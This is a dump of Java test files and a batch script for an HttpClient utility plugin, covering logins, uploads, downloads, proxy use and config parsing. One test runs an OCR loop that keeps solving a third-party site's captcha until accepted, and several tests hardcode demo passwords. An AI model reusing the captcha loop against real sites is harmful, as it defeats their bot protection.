    "content": "package com.jun.plugin.httpclient.httpclientutil.test;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport com.jun.plugin.httpclient.httpclientutil.HttpClientUtil;\nimport com.jun.plugin.httpclient.httpclientutil.common.HttpConfig;\nimport com.jun.plugin.httpclient.httpclientutil.common.HttpCookies;\nimport com.jun.plugin.httpclient.httpclientutil.common.Utils;\nimport com.jun.plugin.httpclient.httpclientutil.exception.HttpProcessException;\n\n/** \n * 上传功能测试\n * \n * @author arron\n * @date 2016年11月2日 下午1:17:17 \n * @version 1.0 \n */\npublic class TestUpload {\n\n\tpublic static void main(String[] args) throws HttpProcessException {\n\t\t//登录后，为上传做准备\n\t\tHttpConfig config = prepareUpload();\n\t\t\n\t\tString url= \"http://test.free.800m.net:8080/up.php?action=upsave\";//上传地址\n//\t\tString[] filePaths = {\"D:\\\\中国.txt\",\"D:\\\\111.txt\",\"C:\\\\Users\\\\160049\\\\Desktop\\\\中国.png\"};//待上传的文件路径\n\t\tString[] filePaths = {\"D:\\\\中国支付清算系统总体架构图-无文字版.png\"};//待上传的文件路径\n\t\t\n\t\tMap<String, Object> map = new HashMap<String, Object>();\n\t\tmap.put(\"path\", \"./tomcat/vhost/test/ROOT/\");//指定其他参数\n\t\tconfig.url(url) //设定上传地址\n\t\t\t\t .encoding(\"GB2312\") //设定编码，否则可能会引起中文乱码或导致上传失败\n\t\t\t\t .files(filePaths,\"myfile\",true)//.files(filePaths)，如果服务器端有验证input 的name值，则请传递第二个参数，如果上传失败，则尝试第三个参数设置为true\n\t\t\t\t .map(map);//其他需要提交的参数\n\t\t\n\t\tUtils.debug();//开启打印日志，调用 Utils.debug(false);关闭打印日志\n\t\tString r = HttpClientUtil.upload(config);//上传\n\t\tSystem.out.println(r);\n\t\t\n\t}\n\n\t/**\n\t * 登录，并上传文件\n\t * \n\t * @return\n\t * @throws HttpProcessException\n\t */\n\tprivate static HttpConfig prepareUpload() throws HttpProcessException {\n\t\tString url =\"http://test.free.800m.net:8080/\";\n\t\tString loginUrl = url+\"login.php\";\n\t\tString indexUrl = url+\"index.php\";\n\t\tHttpCookies cookies = HttpCookies.custom();\n\t\t//启用cookie，用于登录后的操作\n\t\tHttpConfig config = HttpConfig.custom().context(cookies.getContext());\n\t\tMap<String, Object> map = new HashMap<String, Object>();\n\t\tmap.put(\"user_name\", \"test\");\n\t\tmap.put(\"user_pass\", \"800m.net\");\n\t\tmap.put(\"action\", \"login\");\n\t\tString loginResult = HttpClientUtil.post(config.url(loginUrl).map(map));\n\t\t\n\t\tSystem.out.println(\"是否登录成功：\"+loginResult.contains(\"成功\"));\n\t\t//打开主页\n\t\tHttpClientUtil.get(config.map(null).url(indexUrl));\n\t\t\n\t\treturn config;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/java/com/jun/plugin/httpclient/httpclientutil/test/TestVerifyCode.java",
    "content": "package com.jun.plugin.httpclient.httpclientutil.test;\n\nimport org.apache.http.Header;\n\nimport com.jun.plugin.httpclient.httpclientutil.HttpClientUtil;\nimport com.jun.plugin.httpclient.httpclientutil.common.HttpConfig;\nimport com.jun.plugin.httpclient.httpclientutil.common.HttpCookies;\nimport com.jun.plugin.httpclient.httpclientutil.common.HttpHeader;\nimport com.jun.plugin.httpclient.httpclientutil.common.util.OCR;\nimport com.jun.plugin.httpclient.httpclientutil.exception.HttpProcessException;\n\n/** \n * 识别验证码demo\n * \n * @author arron\n * @date 2016年6月7日 上午10:51:51 \n * @version 1.0 \n */\npublic class TestVerifyCode {\n\t\n\tpublic static void main(String[] args) throws InterruptedException, HttpProcessException {\n\t\tString qq = \"123456789\";//qq号\n\t\tString imgUrl = \"http://qqxoo.com/include/vdimgvt.php?t=\"+Math.random(); //获取验证码图片地址\n\t\tString verifyUrl = \"http://qqxoo.com/include/vdcheck.php\";\n\t\tString saveCodePath = \"C:/1.png\";//保存验证码图片路径\n\t\t\n\t\tHeader[] headers = HttpHeader.custom().referer(\"http://qqxoo.com/main.html?qqid=\"+qq).build();//设置referer，是为了获取对应qq号的验证码，否则报错\n\t\tHttpConfig config = HttpConfig.custom().headers(headers).context(HttpCookies.custom().getContext());//必须设置context，是为了携带cookie进行操作\n\t\t\n\t\tString result =null;//识别结果\n\t\t\n\t\tdo {\n\t\t\tif(result!=null){\n\t\t\t\tSystem.err.println(\"校验失败！稍等片刻后继续识别\");\n\t\t\t\tThread.sleep((int)(Math.random()*10)*100);\n\t\t\t}\n\t\t\t\n\t\t\t//获取验证码\n\t\t\t//OCR.debug(); //开始Fiddler4抓包（127.0.0.1:8888）\n\t\t\tString code = OCR.ocrCode4Net(config.url(imgUrl), saveCodePath);\n\t\t\t\n\t\t\twhile(code.length()!=5){//如果识别的验证码位数不等于5，则重新识别\n\t\t\t\tif(code.contains(\"亲,apiKey已经过期或错误,请重新获取\")){\n\t\t\t\t\tSystem.err.println(code);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tcode = OCR.ocrCode4Net(config.url(imgUrl), saveCodePath);\n\t\t\t}\n\t\t\t\n\t\t\tSystem.out.println(\"本地识别的验证码为：\"+code);\n\t\t\tSystem.out.println(\"验证码已保存到：\"+saveCodePath);\n\t\t\t\n\t\t\tSystem.out.println(\"开始校验验证码是否正确\");\n\t\t\t//开始验证识别的验证码是否正确\n\t\t\tresult = HttpClientUtil.get(config.url(verifyUrl+\"?vc=\"+code+\"&qqid=\"+qq));\n\t\t\t\n\t\t} while (!result.contains(\"succeed\"));\n\t\t\n\t\tSystem.out.println(\"识别验证码成功！反馈信息如下：\\n\" + result);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/java/com/jun/plugin/httpclient/httpclientutil/test/httpConn.bat",
    "content": "@echo off\n:count\necho|set /p=\"Num of HTTP Connections(port:80): \" & netstat -na |findstr \"ESTABLISHED\" | find /C \":80\"\ntimeout 2 > nul\nGOTO count"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/java/com/jun/plugin/httpclient/test/HttpClientTest.java",
    "content": "package com.jun.plugin.httpclient.test;\n\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.UnsupportedEncodingException;\nimport java.security.KeyManagementException;\nimport java.security.KeyStore;\nimport java.security.KeyStoreException;\nimport java.security.NoSuchAlgorithmException;\nimport java.security.cert.CertificateException;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport javax.net.ssl.SSLContext;\n\nimport org.apache.http.HttpEntity;\nimport org.apache.http.ParseException;\nimport org.apache.http.client.ClientProtocolException;\nimport org.apache.http.client.entity.UrlEncodedFormEntity;\nimport org.apache.http.client.methods.CloseableHttpResponse;\nimport org.apache.http.client.methods.HttpGet;\nimport org.apache.http.client.methods.HttpPost;\nimport org.apache.http.conn.ssl.SSLConnectionSocketFactory;\nimport org.apache.http.conn.ssl.SSLContexts;\nimport org.apache.http.conn.ssl.TrustSelfSignedStrategy;\nimport org.apache.http.entity.ContentType;\nimport org.apache.http.entity.mime.MultipartEntityBuilder;\nimport org.apache.http.entity.mime.content.FileBody;\nimport org.apache.http.entity.mime.content.StringBody;\nimport org.apache.http.impl.client.CloseableHttpClient;\nimport org.apache.http.impl.client.HttpClients;\nimport org.apache.http.message.BasicNameValuePair;\nimport org.apache.http.util.EntityUtils;\nimport org.junit.Test;  \n \npublic class HttpClientTest {  \n \n   @Test  \n   public void jUnitTest() {  \n       get();  \n   }  \n \n   /** \n    * HttpClient SSL \n    */  \n   @SuppressWarnings(\"deprecation\")\npublic void ssl() {       \n       CloseableHttpClient httpclient = null;  \n       try {  \n           KeyStore trustStore = KeyStore.getInstance(KeyStore.getDefaultType());  \n           FileInputStream instream = new FileInputStream(new File(\"d:\\\\tomcat.keystore\"));  \n           try {  \n               //keyStore d:\\\\tomcat.keystore    \n               trustStore.load(instream, \"123456\".toCharArray());  \n           } catch (CertificateException e) {  \n               e.printStackTrace();  \n           } finally {  \n               try {  \n                   instream.close();  \n               } catch (Exception ignore) {  \n               }  \n           }  \n           SSLContext sslcontext = SSLContexts.custom().loadTrustMaterial(trustStore, new TrustSelfSignedStrategy()).build();  \n           SSLConnectionSocketFactory sslsf = new SSLConnectionSocketFactory(sslcontext, new String[] { \"TLSv1\" }, null,  \n                   SSLConnectionSocketFactory.BROWSER_COMPATIBLE_HOSTNAME_VERIFIER);  \n           httpclient = HttpClients.custom().setSSLSocketFactory(sslsf).build();  \n           // ����http����(get��ʽ)  \n           HttpGet httpget = new HttpGet(\"https://localhost:8443/myDemo/Ajax/serivceJ.action\");  \n           System.out.println(\"executing request\" + httpget.getRequestLine());  \n           CloseableHttpResponse response = httpclient.execute(httpget);  \n           try {  \n               HttpEntity entity = response.getEntity();  \n               System.out.println(\"----------------------------------------\");  \n               System.out.println(response.getStatusLine());  \n               if (entity != null) {  \n                   System.out.println(\"Response content length: \" + entity.getContentLength());  \n                   System.out.println(EntityUtils.toString(entity));  \n                   EntityUtils.consume(entity);  \n               }  \n           } finally {  \n               response.close();  \n           }  \n       } catch (ParseException e) {  \n           e.printStackTrace();  \n       } catch (IOException e) {  \n           e.printStackTrace();  \n       } catch (KeyManagementException e) {  \n           e.printStackTrace();  \n       } catch (NoSuchAlgorithmException e) {  \n           e.printStackTrace();  \n       } catch (KeyStoreException e) {  \n           e.printStackTrace();  \n       } finally {  \n           if (httpclient != null) {  \n               try {  \n                   httpclient.close();  \n               } catch (IOException e) {  \n                   e.printStackTrace();  \n               }  \n           }  \n       }  \n   }  \n \n   /** \n    *HttpClient  post \n    */  \n   @SuppressWarnings({ \"unchecked\", \"rawtypes\" })\npublic void postForm() {  \n       CloseableHttpClient httpclient = HttpClients.createDefault();  \n       HttpPost httppost = new HttpPost(\"http://localhost:8080/myDemo/Ajax/serivceJ.action\");  \n       List formparams = new ArrayList();  \n       formparams.add(new BasicNameValuePair(\"username\", \"admin\"));  \n       formparams.add(new BasicNameValuePair(\"password\", \"123456\"));  \n       UrlEncodedFormEntity uefEntity;  \n       try {  \n           uefEntity = new UrlEncodedFormEntity(formparams, \"UTF-8\");  \n           httppost.setEntity(uefEntity);  \n           System.out.println(\"executing request \" + httppost.getURI());  \n           CloseableHttpResponse response = httpclient.execute(httppost);  \n           try {  \n               HttpEntity entity = response.getEntity();  \n               if (entity != null) {  \n                   System.out.println(\"--------------------------------------\");  \n                   System.out.println(\"Response content: \" + EntityUtils.toString(entity, \"UTF-8\"));  \n                   System.out.println(\"--------------------------------------\");  \n               }  \n           } finally {  \n               response.close();  \n           }  \n       } catch (ClientProtocolException e) {  \n           e.printStackTrace();  \n       } catch (UnsupportedEncodingException e1) {  \n           e1.printStackTrace();  \n       } catch (IOException e) {  \n           e.printStackTrace();  \n       } finally {  \n           // �ر�����,�ͷ���Դ    \n           try {  \n               httpclient.close();  \n           } catch (IOException e) {  \n               e.printStackTrace();  \n           }  \n       }  \n   }  \n \n   /** \n    *HttpClient  post \n    */  \n   public void post() {  \n       CloseableHttpClient httpclient = HttpClients.createDefault();  \n       HttpPost httppost = new HttpPost(\"http://localhost:8080/myDemo/Ajax/serivceJ.action\");  \n       List formparams = new ArrayList();  \n       formparams.add(new BasicNameValuePair(\"type\", \"house\"));  \n       UrlEncodedFormEntity uefEntity;  \n       try {  \n           uefEntity = new UrlEncodedFormEntity(formparams, \"UTF-8\");  \n           httppost.setEntity(uefEntity);  \n           System.out.println(\"executing request \" + httppost.getURI());  \n           CloseableHttpResponse response = httpclient.execute(httppost);  \n           try {  \n               HttpEntity entity = response.getEntity();  \n               if (entity != null) {  \n                   System.out.println(\"--------------------------------------\");  \n                   System.out.println(\"Response content: \" + EntityUtils.toString(entity, \"UTF-8\"));  \n                   System.out.println(\"--------------------------------------\");  \n               }  \n           } finally {  \n               response.close();  \n           }  \n       } catch (ClientProtocolException e) {  \n           e.printStackTrace();  \n       } catch (UnsupportedEncodingException e1) {  \n           e1.printStackTrace();  \n       } catch (IOException e) {  \n           e.printStackTrace();  \n       } finally {  \n           // �ر�����,�ͷ���Դ    \n           try {  \n               httpclient.close();  \n           } catch (IOException e) {  \n               e.printStackTrace();  \n           }  \n       }  \n   }  \n \n   /** \n    * HttpClient  get \n    */  \n   public void get() {  \n       CloseableHttpClient httpclient = HttpClients.createDefault();  \n       try {  \n           HttpGet httpget = new HttpGet(\"http://www.baidu.com/\");  \n           System.out.println(\"executing request \" + httpget.getURI());  \n           CloseableHttpResponse response = httpclient.execute(httpget);  \n           try {  \n               HttpEntity entity = response.getEntity();  \n               System.out.println(\"--------------------------------------\");  \n               System.out.println(response.getStatusLine());  \n               if (entity != null) {  \n                   System.out.println(\"Response content length: \" + entity.getContentLength());  \n                   System.out.println(\"Response content: \" + EntityUtils.toString(entity));  \n               }  \n               System.out.println(\"------------------------------------\");  \n           } finally {  \n               response.close();  \n           }  \n       } catch (ClientProtocolException e) {  \n           e.printStackTrace();  \n       } catch (ParseException e) {  \n           e.printStackTrace();  \n       } catch (IOException e) {  \n           e.printStackTrace();  \n       } finally {  \n           // �ر�����,�ͷ���Դ    \n           try {  \n               httpclient.close();  \n           } catch (IOException e) {  \n               e.printStackTrace();  \n           }  \n       }  \n   }  \n \n   /** \n    *HttpClient  upload\n    */  \n   public void upload() {  \n       CloseableHttpClient httpclient = HttpClients.createDefault();  \n       try {  \n           HttpPost httppost = new HttpPost(\"http://localhost:8080/myDemo/Ajax/serivceFile.action\");  \n \n           FileBody bin = new FileBody(new File(\"F:\\\\image\\\\sendpix0.jpg\"));  \n           StringBody comment = new StringBody(\"A binary file of some kind\", ContentType.TEXT_PLAIN);  \n \n           HttpEntity reqEntity = MultipartEntityBuilder.create().addPart(\"bin\", bin).addPart(\"comment\", comment).build();  \n \n           httppost.setEntity(reqEntity);  \n \n           System.out.println(\"executing request \" + httppost.getRequestLine());  \n           CloseableHttpResponse response = httpclient.execute(httppost);  \n           try {  \n               System.out.println(\"----------------------------------------\");  \n               System.out.println(response.getStatusLine());  \n               HttpEntity resEntity = response.getEntity();  \n               if (resEntity != null) {  \n                   System.out.println(\"Response content length: \" + resEntity.getContentLength());  \n               }  \n               EntityUtils.consume(resEntity);  \n           } finally {  \n               response.close();  \n           }  \n       } catch (ClientProtocolException e) {  \n           e.printStackTrace();  \n       } catch (IOException e) {  \n           e.printStackTrace();  \n       } finally {  \n           try {  \n               httpclient.close();  \n           } catch (IOException e) {  \n               e.printStackTrace();  \n           }  \n       }  \n   }  \n} "
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/java/com/jun/plugin/httpclient/test/HttpGetTest.java",
    "content": "package com.jun.plugin.httpclient.test;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.InputStream;\n\nimport org.apache.commons.io.FileUtils;\nimport org.apache.http.HttpEntity;\nimport org.apache.http.HttpHost;\nimport org.apache.http.ParseException;\nimport org.apache.http.client.ClientProtocolException;\nimport org.apache.http.client.config.RequestConfig;\nimport org.apache.http.client.methods.CloseableHttpResponse;\nimport org.apache.http.client.methods.HttpGet;\nimport org.apache.http.impl.client.CloseableHttpClient;\nimport org.apache.http.impl.client.HttpClients;\nimport org.apache.http.util.EntityUtils;\nimport org.junit.Test;\n\npublic class HttpGetTest {\n\n\t@Test\n\tpublic  void getPageContent() throws ClientProtocolException, IOException {\n\t\tCloseableHttpClient httpClient=HttpClients.createDefault(); \n\t\tHttpGet httpGet=new HttpGet(\"http://www.baidu.com/\");\n\t\thttpGet.setHeader(\"User-Agent\", \"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0\");\n\t\tCloseableHttpResponse response=httpClient.execute(httpGet);\n\t\tHttpEntity entity=response.getEntity(); \n\t\tSystem.out.println(\"内容：\"+EntityUtils.toString(entity, \"utf-8\")); \n\t\tresponse.close(); \n\t\thttpClient.close(); \n\t\t \n\t}\n\t\n\n\t@Test\n\tpublic  void getPageImage() throws ClientProtocolException, IOException  {\n\t\tCloseableHttpClient httpClient=HttpClients.createDefault(); // ����httpClientʵ��\n\t\tHttpGet httpGet=new HttpGet(\"https://www.baidu.com/img/pc_cc75653cd975aea6d4ba1f59b3697455.png\"); \n\t\thttpGet.setHeader(\"User-Agent\", \"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0\");\n\t\tCloseableHttpResponse response=httpClient.execute(httpGet); \n\t\tHttpEntity entity=response.getEntity(); \n\t\tif(entity!=null){\n\t\t\tSystem.out.println(\"ContentType:\"+entity.getContentType().getValue());\n\t\t\tInputStream inputStream=entity.getContent();\n\t\t\tFileUtils.copyToFile(inputStream, new File(\"E://baidu.png\"));\n\t\t}\n\t\tresponse.close(); \n\t\thttpClient.close(); \n\t}\n\t\n\t\n\t@Test\n\tpublic  void setPageProxyTest() throws ClientProtocolException, IOException   {\n\t\tCloseableHttpClient httpClient=HttpClients.createDefault(); \n\t\tHttpGet httpGet=new HttpGet(\"http://www.tuicool.com/\"); \n\t\tHttpHost proxy=new HttpHost(\"119.27.170.46\", 8888);   // http://31f.cn/\n\t\tRequestConfig config=RequestConfig.custom().setProxy(proxy).setConnectTimeout(10000).setSocketTimeout(20000).build();\n\t\thttpGet.setConfig(config);\n\t\thttpGet.setHeader(\"User-Agent\", \"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0\");\n\t\tCloseableHttpResponse response=httpClient.execute(httpGet); \n\t\tHttpEntity entity=response.getEntity(); \n\t\tSystem.out.println(\"ContentType \"+EntityUtils.toString(entity, \"utf-8\")); \n\t\tresponse.close(); \n\t\thttpClient.close(); \n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/java/com/jun/plugin/httphelper/TestWSHttpHelper.java",
    "content": "package com.jun.plugin.httphelper;\n\nimport junit.framework.TestCase;\nimport org.apache.commons.io.FileUtils;\nimport org.apache.commons.logging.Log;\nimport org.apache.commons.logging.LogFactory;\n\nimport com.jun.plugin.httphelper.WSHttpHelper;\nimport com.jun.plugin.httphelper.exception.WSException;\nimport com.jun.plugin.httphelper.http.WSHttpTaskExecutor;\nimport com.jun.plugin.httphelper.model.ResponseResult;\nimport com.jun.plugin.httphelper.request.handler.CallbackHandler;\n\nimport sun.security.provider.MD5;\nimport sun.security.rsa.RSASignature;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.math.BigInteger;\nimport java.nio.MappedByteBuffer;\nimport java.nio.channels.FileChannel;\nimport java.security.MessageDigest;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * Created by Administrator on 15-12-11.\n */\npublic class TestWSHttpHelper extends TestCase {\n    protected static Log log = LogFactory.getLog(TestWSHttpHelper.class);\n\n    /**\n     * 测试获取HTML\n     * @throws Exception\n     */\n    public void testDoGetHtml()throws Exception{\n        String html=WSHttpHelper.doGetHtml(\"http://git.oschina.net/wolfsmoke/WSHttpHelper\");\n        System.out.print(html);\n    }\n\n    /**\n     * 测试带有回调的HTML\n     * @throws Exception\n     */\n    public void testDoGetHtmlCallBack()throws Exception{\n        Map<String,Object> parameters = new HashMap<String, Object>();\n        parameters.put(\"wq\", \"WSHttpHelper\");\n        WSHttpHelper.doAsyncGetHtml(\"http://www.baidu.com/s\", parameters, \"UTF-8\", new CallbackHandler() {\n            @Override\n            public ResponseResult execute(ResponseResult result) throws WSException {\n                String html = result.getBody().toString();\n                html += \"\\n在回调里面修改返回结果。\";\n                result.setBody(html);\n\n                log.debug(html);\n                return result;\n            }\n        });\n        log.debug(\"====\");\n        Thread.sleep(3000);\n        log.debug(\"====\");\n    }\n\n    /**\n     * 测试获取byte[],下载文件\n     * @throws Exception\n     */\n    public void testDoGetByteArray()throws Exception{\n        // 下载个文件\n        String url=\"http://mirror.bit.edu.cn/apache//commons/io/binaries/commons-io-2.4-bin.zip\";\n        // 执行请求\n        byte[] fileBytes=WSHttpHelper.doGetByteArray(url);\n        String filePath=FileUtils.getTempDirectoryPath()+\"commons-io-2.4-bin.zip\";\n        File file  = new File(filePath);\n        FileUtils.writeByteArrayToFile(file, fileBytes);\n        TestCase.assertEquals(\"a732ec8558d464e7c5d8136e5aa9d85c\",getMd5ByFile(file));\n    }\n    /**\n     * 测试带有回调的获取byte[],下载文件\n     * @throws Exception\n     */\n    public void testDoGetByteArrayCallBack()throws Exception{\n        // 下载个文件\n        String url=\"http://mirror.bit.edu.cn/apache//commons/io/binaries/commons-io-2.4-bin.zip\";\n        // 执行请求\n        WSHttpHelper.doAsyncGetByteArray(url, null, new CallbackHandler() {\n            @Override\n            public ResponseResult execute(ResponseResult result) throws WSException {\n                //String saveFilePath = FileUtils.getTempDirectoryPath() + \"commons-io-2.4-bin.zip\";\n                String saveFilePath =\"C:/commons-io-2.4-bin.zip\";\n                File file = new File(saveFilePath);\n                try {\n                    FileUtils.writeByteArrayToFile(file, (byte[]) result.getBody());\n                } catch (IOException e) {\n                    throw new WSException(e);\n                }\n                // 打印下载路径\n                log.debug(saveFilePath);\n                try {\n                    TestCase.assertEquals(\"a732ec8558d464e7c5d8136e5aa9d85c\", TestWSHttpHelper.getMd5ByFile(file));\n                } catch (FileNotFoundException e) {\n                    throw new WSException(e.getMessage(),e);\n                }\n                return result;\n            }\n        });\n        log.debug(\"====\");\n        // 当前线程等待10秒，异步回调可以打印出文件路径，若不等待，则打印不出路径\n        Thread.sleep(10000);\n        log.debug(\"====\");\n    }\n\n    /**\n     * 获取文件md5\n     * @param file\n     * @return\n     * @throws FileNotFoundException\n     */\n    public static String getMd5ByFile(File file) throws FileNotFoundException {\n        String value = null;\n        FileInputStream in = new FileInputStream(file);\n        try {\n            MappedByteBuffer byteBuffer = in.getChannel().map(FileChannel.MapMode.READ_ONLY, 0, file.length());\n            MessageDigest md5 = MessageDigest.getInstance(\"MD5\");\n            md5.update(byteBuffer);\n            BigInteger bi = new BigInteger(1, md5.digest());\n            value = bi.toString(16);\n        } catch (Exception e) {\n            e.printStackTrace();\n        } finally {\n            if(null != in) {\n                try {\n                    in.close();\n                } catch (IOException e) {\n                    e.printStackTrace();\n                }\n            }\n        }\n        return value;\n    }\n\n    /**\n     * 测试获取JSON，解析为MAP\n     * @throws Exception\n     */\n    public void testDoGetMap()throws Exception{\n        String url=\"https://www.hao123.com/sugdata_s4.json?r=-805836\";\n        Map resultMap = WSHttpHelper.doGetMap(url);\n        TestCase.assertEquals(\"http://top.baidu.com/\",resultMap.get(\"baseUrl\"));\n        TestCase.assertEquals(\"Success\",resultMap.get(\"errormsg\"));\n    }\n\n    /**\n     * 测试获取JSON，将JSON解析为指定类型\n     * @throws Exception\n     */\n    public void testDoGetJson()throws Exception{\n        String url=\"https://www.hao123.com/sugdata_s4.json?r=-805836\";\n        Map resultMap = WSHttpHelper.doGetJson(url, Map.class);\n        TestCase.assertEquals(\"http://top.baidu.com/\",resultMap.get(\"baseUrl\"));\n        TestCase.assertEquals(\"Success\",resultMap.get(\"errormsg\"));\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/java/com/jun/plugin/httphelper/TestWSHttpHelperXmlConfig.java",
    "content": "package com.jun.plugin.httphelper;\n\nimport junit.framework.TestCase;\n\nimport java.util.List;\n\nimport com.jun.plugin.httphelper.WSHttpHelperXmlConfig;\nimport com.jun.plugin.httphelper.model.config.HandlerData;\nimport com.jun.plugin.httphelper.model.config.HttpClientConfig;\nimport com.jun.plugin.httphelper.model.config.RequestConfigData;\nimport com.jun.plugin.httphelper.model.config.RequestHandlers;\nimport com.jun.plugin.httphelper.request.handler.RequestPreHandler;\nimport com.jun.plugin.httphelper.request.handler.ResponseProHandler;\n\n/**\n * Created by Administrator on 15-12-31.\n */\npublic class TestWSHttpHelperXmlConfig extends TestCase{\n    public void testInit() throws Exception {\n        HttpClientConfig httpClientConfig=WSHttpHelperXmlConfig.getInstance().getHttpClientConfig();\n        TestCase.assertEquals(\"UTF-8\",httpClientConfig.getHttpCharset());\n        TestCase.assertEquals(50,httpClientConfig.getCorePoolSize());\n        //\n        List<RequestPreHandler> requestPreHandlers=WSHttpHelperXmlConfig.getInstance().getDefaultPreHandlers();\n        if(requestPreHandlers!=null){\n            for(RequestPreHandler requestPreHandler:requestPreHandlers){\n                System.out.println(requestPreHandler.level());\n                System.out.println(requestPreHandler.getClass().getName());\n            }\n        }\n        //\n        List<ResponseProHandler> responseProHandlers=WSHttpHelperXmlConfig.getInstance().getDefaultProHandlers();\n        if(responseProHandlers!=null){\n            for(ResponseProHandler responseProHandler:responseProHandlers){\n                System.out.println(responseProHandler.level());\n                System.out.println(responseProHandler.getClass().getName());\n            }\n        }\n        //\n        List<RequestConfigData> requestConfigDatas=WSHttpHelperXmlConfig.getInstance().getRequestConfigDataList();\n        if(requestConfigDatas!=null){\n            for(RequestConfigData data:requestConfigDatas){\n                System.out.println(data.getContext());\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/java/com/jun/plugin/httphelper/common/TestConfigXmlFileFilter.java",
    "content": "package com.jun.plugin.httphelper.common;\n\nimport junit.framework.TestCase;\nimport org.apache.commons.lang.StringUtils;\n\nimport com.jun.plugin.httphelper.WSHttpHelperXmlConfig;\nimport com.jun.plugin.httphelper.common.ConfigXmlFileFilter;\n\nimport java.io.File;\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * Created by Administrator on 15-12-30.\n */\npublic class TestConfigXmlFileFilter extends TestCase{\n    public void testFilterPath()throws Exception{\n        String path=WSHttpHelperXmlConfig.class.getResource(\"/\").toURI().getPath();\n        System.out.println(path);\n        File file = new File(path);\n        String mapping=\"request/**/**\";\n        String [] matchs = mapping.split(\"/\");\n\n        List<String>pathList = new ArrayList<String>();\n        listFlies(file,matchs,0,pathList);\n\n        for(String s:pathList){\n            System.out.println(s);\n        }\n    }\n\n    public void listFlies(File file,String[] matchs,int i,List<String> pathList){\n        if(i>matchs.length-1){\n            return;\n        }\n        File [] list = file.listFiles(new ConfigXmlFileFilter(matchs[i]));\n\n        for(File f:list){\n            if(f.isFile()){\n                pathList.add(f.getPath());\n            }\n            else if(f.isDirectory()){\n                listFlies(f,matchs,i+1,pathList);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/java/com/jun/plugin/httphelper/common/TestXmlToMapUtil.java",
    "content": "/*\n * Copyright (c) 2015-2016, AlexGao\n * http://git.oschina.net/wolfsmoke/WSHttpHelper\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *     http://www.apache.org/licenses/LICENSE-2.0\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.jun.plugin.httphelper.common;\n\nimport junit.framework.TestCase;\n\nimport java.io.File;\nimport java.util.Map;\n\nimport com.jun.plugin.httphelper.WSHttpHelperXmlConfig;\nimport com.jun.plugin.httphelper.common.XmlUtil;\n\n/**\n * Created by Administrator on 16-1-2.\n */\npublic class TestXmlToMapUtil extends TestCase{\n    public void testXmlToMap()throws Exception{\n        File xmlFile = new File(XmlUtil.class.getResource(WSHttpHelperXmlConfig.CONFIG_XML_PATH).toURI());\n        Map map= XmlUtil.xmlToMap(xmlFile);\n        System.out.print(map);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/java/com/jun/plugin/httphelper/common/TestXmlUtil.java",
    "content": "package com.jun.plugin.httphelper.common;\n\nimport junit.framework.TestCase;\nimport org.apache.commons.io.FileUtils;\n\nimport com.jun.plugin.httphelper.common.XmlUtil;\n\nimport java.io.File;\nimport java.io.InputStream;\nimport java.util.Map;\n\n/**\n * Created by Administrator on 15-12-29.\n */\npublic class TestXmlUtil extends TestCase{\n    public void testHttpHelperConfig()throws Exception{\n        File xmlFile = new File(XmlUtil.class.getResource(\"/httphelper-config.xml\").toURI());\n        String xml = FileUtils.readFileToString(xmlFile);\n        Map map = XmlUtil.xmlToMap(xml);\n        Map clientMap = (Map)map.get(\"httpclient-config\");\n\n        System.out.print(((Map)clientMap.get(\"http\")).get(\"@charset\"));\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/java/com/jun/plugin/httphelper/request/TestWSHttpRequestFactory.java",
    "content": "/*\n * Copyright (c) 2015-2016, AlexGao\n * http://git.oschina.net/wolfsmoke/WSHttpHelper\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *     http://www.apache.org/licenses/LICENSE-2.0\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.jun.plugin.httphelper.request;\n\nimport com.jun.plugin.httphelper.http.WSHttpTaskExecutor;\nimport com.jun.plugin.httphelper.request.WSHttpRequest;\nimport com.jun.plugin.httphelper.request.WSHttpRequestFactory;\n\nimport junit.framework.TestCase;\n\n/**\n * Created by Administrator on 16-1-2.\n */\npublic class TestWSHttpRequestFactory extends TestCase{\n    public void testRequestPathXmlConfigRequest()throws Exception{\n        WSHttpRequest request = WSHttpRequestFactory.getHttpRequest(\"downloadImage\");\n        // 若不传入word参数，默认使用配置的值\n        //request.getContext().addInputData(\"word\",\"宠物萌图\");\n        request.execute();\n        // 等待所有线程执行完成\n        